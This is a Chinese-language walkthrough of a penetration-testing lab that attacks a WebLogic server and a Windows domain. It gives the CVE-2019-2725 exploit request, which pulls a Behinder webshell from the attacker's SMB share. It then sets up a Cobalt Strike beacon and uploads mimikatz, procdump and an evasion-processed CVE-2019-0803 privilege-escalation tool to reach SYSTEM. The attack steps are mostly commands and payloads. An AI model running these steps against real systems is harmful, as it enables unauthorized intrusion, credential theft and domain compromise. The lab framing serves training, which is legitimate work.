环境介绍
weblogic漏洞利用并getshell
域渗透-横向渗透获取域控最高权限
环境介绍
环境拓扑图
本实验环境靶机下载地址:
链接:https://pan.baidu.com/s/1V_2GU52OP7gAbHVgJD8gGA
配置信息
DC
IP:10.10.10.10 OS:Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80 IP2:192.168.111.80 OS:Windows 2008(64)
应用:Weblogic 10.3.6 MSSQL 2008
PC
IP1:10.10.10.201 IP2:192.168.111.201 OS:Windows 7(32)
应用:
攻击机
IP:192.168.111.1OS:Windows 10(64)
IP:192.168.111.5OS:Kali
weblogic漏洞利用并getshell
信息收集
全端口扫描
┌──(root💀xuegod53)-[~]
└─# nmap -p- -T5 192.168.111.80 -o web
注:
-p- 表示扫描所有端口;
-T5 指定扫描过程使用的时序,总共有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4。
-o 保存扫描结果到文件web
常用端口是开放状态1433是mssql,7001我们知道是weblogic服务,因为我们前面手工开启的。
这里常规测试就不检测了,我们启动weblogic服务时WEB主机是安装有数字卫士的,所以就不直接使用漏洞exp进行攻击了,正常情况下都是不可能成功的。
那既然系统问题我们不考虑,只能考虑weblogic服务漏洞了。找到WeblogicScan工具扫一下。
上传WeblogicScan-master.zip 到Kali
└─# unzip WeblogicScan-master.zip
└─# cd WeblogicScan-master/
└─# python3 WeblogicScan.py 192.168.111.80 7001
可以看到一共存在2个CVE,我们使用CVE-2019-2725即可,该漏洞方便我们拿到shell。2729经测试是失败的,不晓得是否是数字卫士的问题。
CVE-2019-2725漏洞描述:这是一个Weblogic反序列化远程代码执行漏洞。部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。
利用CVE-2019-2725获得shell
1.安装冰蝎
1.上传冰蝎
Behinder_v3.0_Beta_6_linux.zip 到Kali
┌──(root💀xuegod53)-[~]
└─# rz
2.解压冰蝎
└─# unzip Behinder_v3.0_Beta_6_linux.zip -d Behinder
└─# cd Behinder
└─# ls
更新日志.txt Behinder_v3.0_Beta6_linux.jar data.db server
注:暂时先不要启动冰蝎,我们需要先把/root/Behinder/server/shell.jsp webshell木马程序上传weblogic服务器上。然后再使用冰蝎连接shell.jsp木马程序。
2.启动smbserver共享文件服务
将/root/Behinder/server目录共享出去,共享的名称为share
└─# impacket-smbserver share /root/Behinder/server &
在win7或web虚拟机上访问:\\192.168.111.5\share 查看共享的内容
以下是基于CVE-2019-2725漏洞的POC攻击代码:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.80:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 839
xx
xx
cmd
/c
copy \\192.168.111.5\share\shell.jsp servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\1.jsp
在Kali中打开BurpSuite,点Repeater,将适用于CVE-2019-2725漏洞的POC攻击代码复制到Repeater中进行发包。
设置目标主机端口
再次点击发送。
注:202状态码:Accepted 表示服务器端已经收到请求消息,但是尚未进行处理。但是对于请求的处理确实无保证的,即稍后无法通过 HTTP 协议给客户端发送一个异步请求来告知其请求的处理结果。这个状态码被设计用来将请求交由另外一个进程或者服务器来进行处理,或者是对请求进行批处理的情形。
启动冰蝎,连接上传的1.jsp木马程序
└─# java -jar /root/Behinder/Behinder_v3.0_Beta6_linux.jar &
使用冰蝎进行连接:
URL:http://192.168.111.80:7001/_async/1.jsp
密码:rebeyond
连接shell.jsp(如果连接shell获取不到信息可以重新打开)
查看用户信息
查看系统信息,看一下系统安装了哪些补丁。
C:\Oracle\Middleware\user_projects\domains\base_domain >systeminfo
域渗透-横向渗透获取域控最高权限
Cobalt Strike简介
Cobalt Strike是一款美国Red Team开发的渗透测试神器,最近这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具,因此广受黑客喜爱,我们可以简称为CS。
Cobalt Strike部署
这里使用的版本为无后门无暗桩版本,大家可以放心使用。
┌──(root💀xuegod53)-[~]
└─# rz
└─# unzip CobaltStrike4.3.zip
└─# cd CobaltStrike4.3/
添加执行权限
└─# chmod +x cobaltstrike teamserver start.sh
启动服务端(命令+ip+密码)
└─# ./teamserver 192.168.111.5 123456 &
启动客户端
└─# ./start.sh &
用户名随意填写,CS支持多人协同工作,所有人的密码都是123456。
创建监听器
启动服务端的时候生成了一段hash确认hash没错点击确认即可。
创建监听
添加
生成exe程序
这里不建议使用x64,因为32位可以在64位运行。如果你明确知道对方是x64系统也可以生成64位。
普通用户提权-反弹SYSTEM权限的shell给cs服务
1、获得普通用户权限
修改BurpSuite数据包把web.exe拷贝到服务器,这里你也可以通过冰蝎上传exe文件。
修改数据包内容方式如下,直接修改文件名称重新发包即可。
copy \\192.168.111.5\share\web.exe servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\web.exe
冰蝎切换到我们上传文件的目录,运行web.exe返回一个de1ay用户的shell。
执行以下命令:
C:\Oracle\Middleware\user_projects\domains\base_domain>cd servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war>web.exe
打开会话窗口
设置命令执行周期,默认是60秒,我们修改短一些。否则每次执行命令要等60秒才会执行。
beacon> sleep 2
查看当前目录
beacon> shell dir
当前目录为 C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war>
后期使用cs上传相关利用工具到此目录,在实际渗透中,最好将一些利用工具上传到比较隐蔽的位置。
查看当前用户身份,发现是WEB\de1ay普通用户
beacon> getuid
2、开始提权
上传相关利用工具到Kali
使用cs上传相关利用工具到目标机
beacon>upload /root/CVE-2019-0803.exe
beacon>upload /root/mimidrv.sys
beacon>upload /root/mimikatz.exe
beacon>upload /root/mimilib.dll
beacon>upload /root/procdump64.exe
或使用窗口方式上传:
查看已上传的利用工具
beacon> shell dir
注:procdump是微软官方的工具,用于导出进程内存,不会报毒被杀,CVE-2019-0803是目前比较新的提权工具,应用场景非常多,该工具已经过免杀处理,可以放心使用。如果mimikatz相关程序报毒,可以将dump下来的内存文件copy到本地,找一台系统相同的计算机进行解密。
前面知道系统没安装什么补丁。所以我们直接利用工具提权即可。
[01]: KB2999226
[02]: KB958488
[03]: KB976902
返回SYSTEM权限的shell
beacon> shell CVE-2019-0803.exe cmd "start web.exe"
等程序执行完成就会返回SYSTEM权限的shell,如果没有返回就重新执行,因为提权工具是有成功率的。
我们到SYSTEM会话中也设置一下: sleep 2